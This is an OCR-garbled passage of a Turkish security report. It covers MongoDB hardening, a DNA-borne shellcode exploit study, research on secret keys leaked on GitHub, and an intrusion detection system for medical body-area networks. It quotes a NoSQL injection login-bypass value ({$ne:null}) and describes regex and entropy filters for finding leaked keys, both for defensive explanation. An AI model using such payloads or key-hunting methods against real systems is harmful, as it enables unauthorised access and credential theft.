letim sistemi seviyesi ve/ya ag seviyesi guvenlik duvari
Uzerinden de gerekli kisitlamalar yapiimalidir.
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Sekil 68: internete agik MongoDB servisleti

Bunlara ek olarak MongoDB’nin bilinen zafiyetleri de-
gerlendirildiginde yUksek riskli bir zafiyetin sézkonusu
olmadigi sdylenebilir ancak yama kontroliiniin yapiimasi
ve guncel strtimlerin kullaniimasi énemlidir.

CVSS Scores For Mongodb Mongodb Between 2016-03-06 and 2019-03-06
Period

2016-03-06 3 2019-03-06 [~ Groun By vear Submit

L -
1 32 23 34 45 56 67 T8 B9 M0

istribution of all vulnerabilivies by CVSS Scores
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Sekil 69: Son (¢ yil icinde saptanan MongoDB zafiyetleri

Sistem seviyesinde yaplilabileceklerden bir digeri ise ge-
reksiz olan yeteneklerin kapatilmasi ve bu sayede atak
ylizeyinin azaltimasidir. Ornegin sunucu igin gogu du-
rumda kullaniimayan scripting yeteneginin kapatiimasi
gerekmektedir (--noscripting).

isletim sistemi tarafinda yapilabilecek bir diger sikilastir-
ma ise ilgili dosya kullanicilarinin ve izinlerinin ayarlan-
masi olacaktir. Sistemin erisilebilirligi igin ayrica *nix or-
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tamlarda servisin kaynak tiketim limitlerinin belirlenmesi
de (ulimits) gerekir.

15.2. Uygulama Seviyesinde Giivenlik

Her ne kadar MongoDB bir NoSQL olsada bazi injection
ataklarina maruz kalabilir. NoSQL injection seklinde ifa-
de edilen saldirilari engellemek icin gelistirme sirasinda
yapilmasi gerekenler geleneksel SQL injection saldirila-
rini engellemek icin yapilanlarla benzerdir. Girdi kontro-
IU ve beyaz liste uygulanmasi bunlarin en énemlileridir.
Aksi halde sistem seviyesinde alinan énlemlere ragmen
verinin butanlaga, gizliligi, sistemin kullanilabilirligi ve tu-
tarlihgi bozulacaktir.

Sekil 70: Injection’ a agik kod pargasi

Somutlastirmak gerekirse, uygulama katmaninda kulla-
nici dogrulamasi yapan Sekil 70’deki gibi bir kod pargasi
s6zkonusu ise herhangi bir girdi kontroll yapmadigindan
saldirgan {$ne:null} kullanici adi ve parolasiyla sisteme
giris yapabilecektir. Burada girdi kontrollerinin yapiimasi
ve escape, sanitize etmeden verilerin alinmamasi gerekir
ya da girdiler icin beyaz listelerin uygulanmasi gereke-
cektir. Escape ve sanitize icin OWASP’ a ait olan ESAPI
ve/veya Antisamy kutliphaneleri kullanilabilir.

Medikal cihazlardaki gUvenlik endiseleri her gecen giin
artiyor. Bu alandaki gelistiricilerin ilk amacinin glvenlik
oldugu pek séylenemez. Son yillarda bu alandaki gu-
venlik calismalari bu cihazlar Uzerinde daha énce hi¢
dusundlmemis bazi zafiyetlerin ortaya gikmasini sagladi.
Bunlardan en ses getirenlerinden biri 2017 USENIX Se-
curity konferansinda sunulan “Computer Security, Pri-
vacy, and DNA Sequencing” isimli galigma idi®®” . Aras-
tirmacilar sentezledikleri bir DNA'nin i¢ine bir istismar
kodu yerlestirmeyi bagarmiglardi!

DNA bildiginiz gibi nikleotidlerden (seker-fosfat ikili-
sine baglanan bazlardan [Adenin, Timin, Guanin, Si-
tozin]) olusuyor. Adenin Timin ile Guanin de Stozin ile
eslesiyor. DNA dizilenmesi ise DNA 6rnegindeki nik-
leotidlerin dogdru siralamasinin ortaya cikariimasina
deniyor. DNA dizilemeyi ise cogaltilan DNA'nin ¢esitli
kimyasal yéntemler sonrasinda bazlarin sirasini bulma
islemi olarak adlandirabiliriz. islemin erken asamala-
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Sekil 71: Exploit kodu barindiran DNA sentezi

rinda okunan bazlar ASCII karakterler olarak FASTQ
adi verilen dosyalara yaziliyor. Buradaki ham veri ge-
nelde kullanigl olmadigindan Uzerlerinde post-pro-
cessing islemleri yapiliyor ve veri sirekli bir dosya
formatindan diger formata c¢evriliyor. Nihayetinde ise
bulunan baz dizisi ikili (binary) sistemde yaziliyor (00-
A, 01-C, 10-G,11-T).

Arastirmacilar post-processing islemlerinde kullanilan
(C, C++) ile kodlanmis yazilimlarin strcpy gibi glvenlik
acigi barindiran kitiphaneler ¢cagirdigini tespit etmigler.
Daha sonra bellek-tasma zafiyeti iceren bir uygulamaya
bir Exploit kodu enjekte etmeye calismiglar. Burada isin
ilging kismi Exploit kodunun bir DNA modelinde sentez-
lenerek cihaza verilmesi. Elbette, her Exploit’e karsilik
gelecek bir fiziki DNA modeli sentezlemek mimkin de-
gil. Arastirmacilar da ilk denemelerinde Exploit kodunun
NOP baytlarinin sayisinin ¢cok fazla olmasindan dolayi bu
baytlara denk gelen bazlarin (GCAA) boyutunun uzun
oldugunu, bu ylzden de sentezleme sirasinda bazlarin
kendine yapisma vb. anomaliler gosterdiginden basari-
siz kaldigini gérmusler. Uzun slren arastirmalar ve gesit-
li encoding algoritmalariyla dinyanin ilk DNA Exploit’i-
ni fiziksel olarak sentezlemeyi basarabilmigler. 94 bayt
uzunlugundaki shellcode bir nikleotid 2 bitlik enformas-
yon tagslyabildiginden 376 nikleotide denk gelecek se-
kilde sentezlenebilmis.

LR 1S

Sekil 72: DNA Exploiti
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Sekil 73: DNA sentezleyici

Bu fiziksel durumdaki DNA &rnegini ilgili dizileme ma-
kinesine verdiginizde cihaz Uzerinde size bir arka kapi
aclliyor ve uzaktan baglantiya hazir durumdal

Bu ilging calisma arastirmacilarda bu cihazlar lze-
rinde calisma istedi uyandirdi. Bdylece isin diger bir
boyutu olan DNA Sentezleme makinelerinde gizliligin
ihlal edilebilecegini gdsteren bir calisma gegtigimiz
ay Network and Distributed System Security Sym-
posium‘da (NDSS 2019) yayinlandi ®". lgili calisma-
da arastirmacilar yan kanal analizleriyle DNA sentezi
gerceklestiren bir makinenin yakinlarina koyduklari bir
mikrofon yardimiyla sentezlenen DNA dizisini ele ge-
cirmeyi basarabilmigler.

ilag firmalarindan, genetik arastirmalara kadar bircok
yerde kullanilan bu cihazlar genelde gizlilik geregi ¢cev-
rimdisi olarak, herhangi bir aga bagl olmadan calisti-
rilyor. Bu cihazlar karmasik kimyasal islemlerle DNA
sentezi yapiyor. Arastirmacilar belli bir model tzerinde
calisarak modelin kullanim kilavuzundaki bilgilere ve iki
gunlik ses kaydina dayanarak valflerin aciligi, sivilarin
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Sekil 74: Cihazin i¢ yapisi ve akustik bilesenler

enjekte edilisi, plastik borulardaki titresim vb. akustik
Olcimleri makine dgrenmesi yontemleriyle modellemeyi
basarmiglar. Ses kaydi igin kullanilan mikrofonun 6zel-
likleri Iphone 4 bir cihazla neredeyse ayni oldugundan
arastirmacilarin gortsiine goére, bu cihazlarin yanina ko-
narak dikkat cekmeyecek herhangi bir telefonla uzaktan
sentezlenen DNA'yi tersine mUhendislik islemleri Gzerin-
den ele gegirmek miUmkin olabilir. Son olarak arastir-
macilar test ortamindaki dizileri uzaktan dinleyip tekrar
insa ederek yaptiklari denemelerde ylzde 90’lara varan
basari oranlar yakaladiklarini agikladilar.

Orijinal Dizi DNA Dogruluk
Tahmin Edilen Dizi Dizi Boyu Orani
1 CGCAAGTACTCCTGC 15 86,67
CGCAATTACTCCTGA
GGAATAGTAGAAGAATGCTGCACAAGCATATGCAGCCTATACGAACTAGAAGACTACT- 63 90,48
2 GCGAC GGAATAGTAGAAGCGTGCTGCACAATCATATGCAGCCTACACGAACTAGAA-
GACGACTGCGAG
3 TGGCGACATGATAACCCGTCGGAGGATCCGGGGCGGGGGCACCTC TGGCGACAT- 45 86,67
TATAACCCGTCGGATGATCCGGGTCGTGTTCACCTC
4 TTTTTCGACCGGTATGATTCCGCCCGTGACCCAGGACGCTTGCTT TTTTGCGACCG- 45 88,89
GTCTTCTGCCGCCCGTGACCCAGGACGCTTGCTT

Tablo 4: Ele gegirilen dizilerin bagarim oranlari
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GitHub ve benzeri platformlarin sagladigi imkanlar saye-
sinde acik kaynak temelinde ve igbirligi icinde gelistirilen
uygulamalarin sayisinda anlaml bir artis meydana gelme-
ye basladi. Fakat bu tur platformlarda tutulan kodlarin,
gelistirme asamasinda eklenen gizli anahtarlar herkesin
erisebilecegdi sekilde ortaya ¢cikmasi ise ciddi bir problem.
Bu tir gizli bilgilerin sakl tutulmasi énem arz ederken,
geligtiriciler tarafindan yaygin olarak sergilenen uygulama
gelistirme davraniglarina bagli olarak hassas bilgilerin is-
temeden de olsa herkesin erisebilecegi sekilde uygulama
gelistirme platformlarinda yer aldigi gériilmekte.

Bir grup arastirmaci tarafindan GitHub Uzerinde yapilan
gizli bilgilerin ifsa olmasi konulu kapsamli ve uzun so-
luklu bir arastirmada her glin binlerce yeni ve farkl gizli
anahtarin internet lzerinde erisime acgildidi belirlendi ¥2.
Bu arastirma kapsaminda kullanilan ilk yéntemde, gizli
anahtar veya bilgiler iceren yeni GitHub Commit’lerinin
ylzde 99’u gergek zamanli olarak degerlendiriimis, diger
yéntemde ise GitHub Uzerindeki genele agik olan kod
depolarindan yizde 13’UnU kapsayan bir snapshot in-
celenmig. Bu yéntemler sonucunda milyonlarca kod de-
posu ve milyarlarca dosya incelenmis ve sonu¢ olarak
Uzerine odaklanilan 11 farkh platform igin ylz binlerce
gizli anahtarin internette herkesin ulagsimina acik bir se-
kilde yayinlandigi anlasiimis.

Arastirmacilar GitHub Uzerinde direkt olarak bir parolayi
aramanin ¢ok kolay olmadigini, bunun yerine kriptografik
anahtarlar ve API kimlik bilgilerini aramanin daha az ya-
nilma payiyla sonuglanacagini belirtiyor. Ayrica bir kelime
veya kelime dizisini sadece ylksek entropiye ya da bili-
nen harf siralamalarina sahip oldugu icin gizlilik degerine
sahip bir anahtar veya parola olarak tanimlamanin énceki
calismalarda da gorildigu gibi yanlis sonuglar dogurabi-
lecegini bundan dolay! da kendi gelistirdikleri cok adimli
farkl bir yaklasimi kullandiklarini belirtiyorlar. Bu ¢calisma-
nin adimlar asagidaki grafikte gérilmektedir. (Sekil 75)

ilk olarak (Phase 0) GitHub Uizerinde aranacak kriptogra-
fik anahtarlar ve API kimliklerinin yapisal ayirt edici 6zel-
liklerini gikarmak i¢in buyuk dlgekli érneklemler tGzerinde
calismalar gergeklestiriliyor ve buradan c¢ikan sonuclara
gbre gercek veriler Uzerinde kullanilacak regex filtreleri
yaziliyor. Sonug olarak 15 API ve 4 asimetrik gizli anah-
tar tipiyle eslesen 6zgln imzalar ¢ikariliyor. Daha sonra

GitHub AP1
fsearch 3
o
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Distinct Entropy™™ Anahytics
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ot -
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- [ Fogex Eor Files ! word | oo v vaiid
c";‘:“’“ —#  Distinct Candidate Flar prii
e :
@-n [r—— Secrats . - el
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Google Github Eftor

Experiments

File Collection Candidate Secret Scan Validity Filters. Aralysis

Sekil 75: Anahtar ve kimlik bilgilerinin aranmasi
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(Phase 1a) GitHub platformunun sundugu arama motoru
ozelligi kullanilarak alti aylik bir stireg boyunca (31 Ekim
2017 - 20 Nisan 2018 tarihleri arasinda) kendi gelistirdik-
leri imzalan kullanarak devamli sorgulamalar yapiyorlar.
GitHub’in saglamis oldugu bu arama 6zelligi kendisine
anlik olarak génderilen dosyalar tzerinde de ¢alistidi igin
doéndurdigu cevaplarin gincel sonuglarn icermekte ol-
dugu tespit edilmis bulunuyor.

GitHub’in arama motoruna ek olarak kullanilan diger
yéntem Google BigQuery servisi (Phase 1b). GitHub,
Google BigQuery tzerinden haftalik olarak acik kaynak
lisansli projelerin snapshotlarini yayinhyor. Bu snapshot-
lar projelerin bitln iceriklerini kapsiyor ve BigQuery ser-
visi de bu igerikler icerisinde hizli olarak regex sorgulari
yapma olanagi saghyor. Her iki ydntem kullanilarak top-
lanan ve potansiyel olarak gizli bilgiler icerebilecek olan
bu dosyalar Uzerinde daha énceden yapilan 15 API ve
4 asimetrik gizli anahtarin imzalarini iceren veri setiyle
filtreleyerek potansiyel gizli bilgi iceren dosyalar bir ka-
deme daha rafine ediliyor (Phase 2).

Bir dnceki adimda elde edilen ayiklanmis dosyalarda
hala gizli bilgi icermeyen girdiler bulunabileceginden son
bir filtreleme adimi daha uygulaniyor (Phase 3a, 3b, 3c).
Burada dosyalar Ug¢ farkli filtreden gegiriliyor. Bu filtreler
Entropi, Kelime ve Kalip (Model) filtreleri. Entropi filtresin-
de dusuk entropiye sahip olan girdiler elenerek API veya
kriptografik anahtar olma ihtimali disik olanlar ayikla-
niyor. Sahip olunan entropi degerini hesaplamak icin de
Sekil 76’da verilen Shannon Entropy formuli kullaniliyor.

H(X)=-) P(xi)logy P(x:)
g=\{)
Sekil 76: Shannon entropi formulu

Kelime filtresinde &nceden hazirlanmis ingilizce kelime-
ler iceren ve GitHub projelerindeki en ¢ok kullanilan ke-
limeleri kapsayan iki ayn s6zIigun birlesmesinden olu-
san yeni bir sézlUk kullaniyor. En son filtre olan Kalip
filtresinde ise eldeki veriler arasinda belirgin modellerin
olup olmadigdi kontrol ediliyor, drnegin tekrar eden karak-
ter (AAAAAAAA...) veya sirali sekilde ilerleyen karakterler
(ABCDEFGH...) olup olmadigi kontrol ediliyor. Buttin bu
adimlarin ardindan elde edilen bulgular gegerli anahtar-
lar olarak adlandirihyor.

Tespit edilen gecerli anahtarlarin ¢cogunlugunun yan-
hshkla GitHub’a yiklenmis ve ciddi sonuclar dogurabi-
lecek veriler oldugu anlasiimis. Bu gecerli anahtarlarin
ylzde 19’unun iki hafta icinde kaldinldi§i, hatta bu kal-
dirma isleminin blyUk bélimunin ilk 24 saat icinde ger-
ceklestigi belirtiliyor. Madalyonun dider yiizl ise anah-
tarlarin yizde 81’lik kisminin GitHub Uzerinde kalmaya
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Sekil 77: Bulunan anahtarlarin GitHub tzerinden kaldiriima sureleri

devam etmesi. Arastirmacilarin yorumlarina gére ylzde
81’lik bdlimu olusturan gelistiriciler ya durumdan haber-
dar degiller ya da olayin ciddiyeti hakkinda yeterli bilgi-
ye sahip degiller. Asagidaki grafiklerde, bulunan gecerli
anahtarlarin GitHub (zerinden kaldirima sireleri gortil-
mektedir. (Sekil 77)

Grafikten de anlasildig gibi bir giin iginde kaldirnimayan
anahtarlar GitHub Uzerinde uzun sire kalmaya devam
ediyor. Arastirmacilar, GitHub veya benzeri platform-
lar Uzerinden genel kullanima agcilan gizli anahtarlarin
sayisinin minimuma ¢ekilebilmesi icin ¢ farkl yéntem
oneriyor. ilk dneri, gelistiriciler veya standart kullanicilar
tarafindan GitHub ve benzeri platformlar kullanilirken
karsi sunuculara bilgi gébndermeden énce makalede ta-
nimlanan filtreleme adimlarini veya benzerlerini kullanan
yerel uygulamalarla bilgilerin taranmasi. Bir diger 6neri,
API saglayan platformlarin tek adiml yetkilendirme yeri-
ne ¢cok adiml yetkilendirmeyi aktif etmeleri. Bu sayede
yanlslikla internete sizmis olan tek bir anahtarin etkinligi
minimize edilmis olacaktir. Son 6neri ise GitHub (veya
benzeri hizmeti saglayan farkli sirketlerin) saglamis oldu-
gu arama 06zelligine sinirlamalar getirilmesi. Yazilim ge-
listiricilerin farkindah@inin artirimasi gerektigi de asikar.

Bu kisimda raporun hazirlik déneminde kesfedilen ve
gerek yerel gerekse klresel capta ses getirme potansi-
yeli oldugu degerlendirilen saldiri, savunma veya gelis-
me odakli analiz konusu sunulmaktadir.

Saglk alaninda loT pazar biydkligintn 2022’ye kadar
14 milyar dolan bulmasi bekleniyor. Uzaktan hasta ta-
Kip sistemleri bu pazarin en énemli kismini olusturuyor.
Bu teknolojinin altinda da Medical Body Area Network
(MBAN) yani Kablosuz Vicut Alan Aglari yatiyor. Bu
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aglarin temel gorevi hastalarin gergek zamanl verileri-
ni saglik goérevlilerine iletmektir. Burada s6zkonusu olan
veriler kalp pilleri, stres sensdrleri ya da insilin sensorleri
vb.nin ilettigi hayati bilgilerdir.

MBAN’lar i¢in bircok guvenlik mekanizmasi ¢alisiimis
durumda. Ancak MBAN’larda iki sikinti gézleniyor. ilki;
MBAN’larin CPU, hafiza, gig¢ ve iletisim bakimindan
kisith kaynaklara sahip olmasi. ikincisi ise MBAN’daki
dugimlere (node) okuma erisiminin mimkin olmama-
si. Ornegin bir cihaz viicut igine implant edilmis olabi-
lir, bu durumda bu cihaza erisim mimkun olmayacaktir.
Yuksek kaynak tuketimi isteyen ¢ézimler bu sebepler-
den dolayi efektif degildir. Bu ytizden Johns Hopkins ve
Vanderbilt Universitesindeki arastirmacilar daha diigiik
kaynak tlketimi isteyen bir yontem gelistirmisler &3, Bu
arastirmanin temelindeki disiince, birbirine yaklasik ola-
rak esit mesafede bulunan ve ayni sensér verisini ileten
dugimlerin glc tiketimlerinin neredeyse esit olmasi.
Ayni sekilde bir digim MBAN’nin digindaki bir digimle
iletisim kurdugunda gug¢ tUketimi gozle gorillr bir bigim-
de degisiyor®. Arastirmacilar loT sistemler icin kullani-
lan bir isletim sistemi olan Contiki ile bu isletim sistemi-
ne uyumlu digim simulatéri Cooja’yi kullanarak bir IDS
(Intrusion Detection System) yani saldir tespit sistemi
olusturmuslar. Bu sistem devre digi birakmaya (DOS), bir
diugimdin ele gegiriimesi sonrasi bilgilerinin ifsa olmasi-
na B ve tekrarlama saldirilarina (replay attack) karsi bir
¢6zUm olarak sunuluyor.
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Sekil 78: MBAN icin saldirt modeli
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18.1. MBAN Saldiri Modeli

Bir diigiim bir digeriyle iletisim kurarken harcadigi glc
aralarindaki mesafenin karesiyle dogru orantilidir [36].
MBAN’In yapisi geregi digimler arasi mesafe kisa ol-
dugunda mesru trafik (gercek digumler arasi) saldir al-
tindaki trafige goére ¢cok daha az gugc tiketimine sebep
olur. Gelistirilen model asagidaki saldirilara karsi dnlem
almay saglyor.

18.1.1. Diigiim Ele Gecirme Saldirilar

Dugim ele gegirme saldinsinda kimlik dogrulama islem-
lerindeki kriptografik anahtarlarin yayinlanmasi gibi bir
sebepten dolay! saldirgan agdaki diigimlerden birini ele
gecirebilir. Bu sayede saldirgan bir hastayla ilgili Urettigi
zararli veri iceren bir paketi hasta takip sistemine génde-
rebilir. Gelistirilen sistem, hasta takip sistemi -gergek du-
gum ve hasta takip sistemi- saldirgan iletisimlerindeki glic
kullanim farkini tespit ederek saldir alarmi Gretmektedir.

18.1.2. Paket Tekrarlama Saldinlari

Bu saldin tirinde saldirgan bir agi gizlice dinler. Ardin-
dan bu dinledigi paketleri tekrarlayarak hedef dugime
iletir. Kaynak sikintisindan dolayi MBAN icindeki digim-
ler paketlerde tek kullanimlik (nonce) degerlerini kul-
lanmaz. Nonce paketlerin tekrarlanmasini énleyen her
pakete Ozel bir degerdir. Bu yizden MBAN icin paket
tekrarlama saldinlar, oldukca kolay gerceklestirilebi-
lir saldinlardir. Ornegin bir saldirgan hastanin kalp atis
bilgisini dinler, hastanin durumu kétllestiginde 6nceki
paketleri tekrarlayarak hasta takip sistemini yaniltabilir.
Paketleri tekrar ederek génderme islemi, bir dGgimuin
tahmin edilenden fazla glc tlketimi yapmasina sebep
olacagindan sistem bu saldiriyl da tespit etmektedir.

18.1.3.Devre Digi Birakma Saldinlari

Devre digi birakma (DoS) saldirilari, bir saldirganin bir
digimu pakete bogarak islevsiz birakmasi ve agin ca-
lisma sistemini bozmasidir. Bir dGgimiin kaybedilmesi o
kaynaktan sensér verisinin okunamamasi anlamina ge-
lir ve eger bu digum hasta viicuduna implant edilmisse
daha ilging senaryolar olugur. Ornegin bir hastanin vii-
cudundaki digime bu saldirilar yapilarak bu cihazin ba-
taryasinin tahmin edilenden ¢ok daha ¢abuk tikenmesi
saglanabilir. Bunun sonucunda da cihazin degistiriimesi
icin cerrahi operasyona gerek duyulabilir. Bu saldinda
gelistirilen yontemle agdaki digimlerden birinin iletigimi
kesildigi an tespit edilebilir.

Arastirmacilar gi¢ tiketimini dinamik olarak degistirebi-
lecekleri “duty cycling” metodunu kullanmiglar. Bu me-
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Duty Cycle % Packet Send Rate Energy Range
100 PPo E(n) >= 0.84*Eo(n)
35.5 Por2 E(n) < 0.34%Eo(n) and >= 0.68%Ea(n)
11.5 Po/d E(n) < 0.68*Eo({n) and >= 0.52*Eu(n)

Sekil 79: Gl¢ dinamigine ait paket degerleri

toda gore bir cihazin batarya seviyesinin degerine goére
gbnderebilecedi paketlerin miktar asagidaki tabloya
gore degisir. Bu sayede cihazin batarya dmri artar.

Sistem calismaya basladiginda siral bir liste olusturulu-
yor ve her digim kendinden sonra paketi iletecegi du-
guma 6greniyor. Paket iletme metodu olarak da paketler
iletilirken her digim &nce kendi payload’unu ekliyor.
Ardindan:

Ele gegcirildigini diisiindiigi komsu digimin ID’sini,
Ele gegcirildigini distinliyorsa “C” bayrak degerini,
Kendi ID’sini,

Mesajin bittigini belli eden “f” bayrak degerini ekler.

payload | payload

foas L - ‘__ papad - —— o “_'-'_‘
0000B/C2/f|00000N3FO0000NAF 00000NEF

a
MEISage SNang indicator

Sekil 80: Paket iletme metodu

Paketler yukaridaki sekilde iletildigi icin her digim, me-
sajl ilettigi digume kendinden dnceki ele gegirilmis olan
dugimia “ispiyonlar”. Gateway ise bir digim igin iki
sikayet aldigi an o digumi “ele gegirilmis olarak” isaret-
ler. Ele gecirilen digim hari¢ bitin digidmlere bu duru-
mu sdyler ve bundan sonra higbir digim oradan gelen
mesajlari dikkate almaz.

Arastirmacilar yukarida bahsedilen saldin tirlerine kar-
sI 6nerdikleri sistemi test edip oldukc¢a basarili sonuclar
elde etmigler.

18.2. Arastirmanin Limitleri ve Gelecek isler

Bu model ¢ok yakindan yapilan aktif saldinlara karsi bir
Onlem saglamiyor. Mesafe yakin oldugu durumda enerii
tiketimi ciddi bir sekilde etkilenmemektedir. Bu ylzden
saldinyi tespit etmek mimkin olamiyor. Arastirmacilar
bu calismalarinda olusturduklar agda sirali paket ileti-
mi yapmislar. Bir sonraki is olarak da birbirinden farkli
uzakliklarda, sirali olmayan hatlarda paket iletimi yapilan
aglar icin calismalarini genisletmeyi distnlyorlar.
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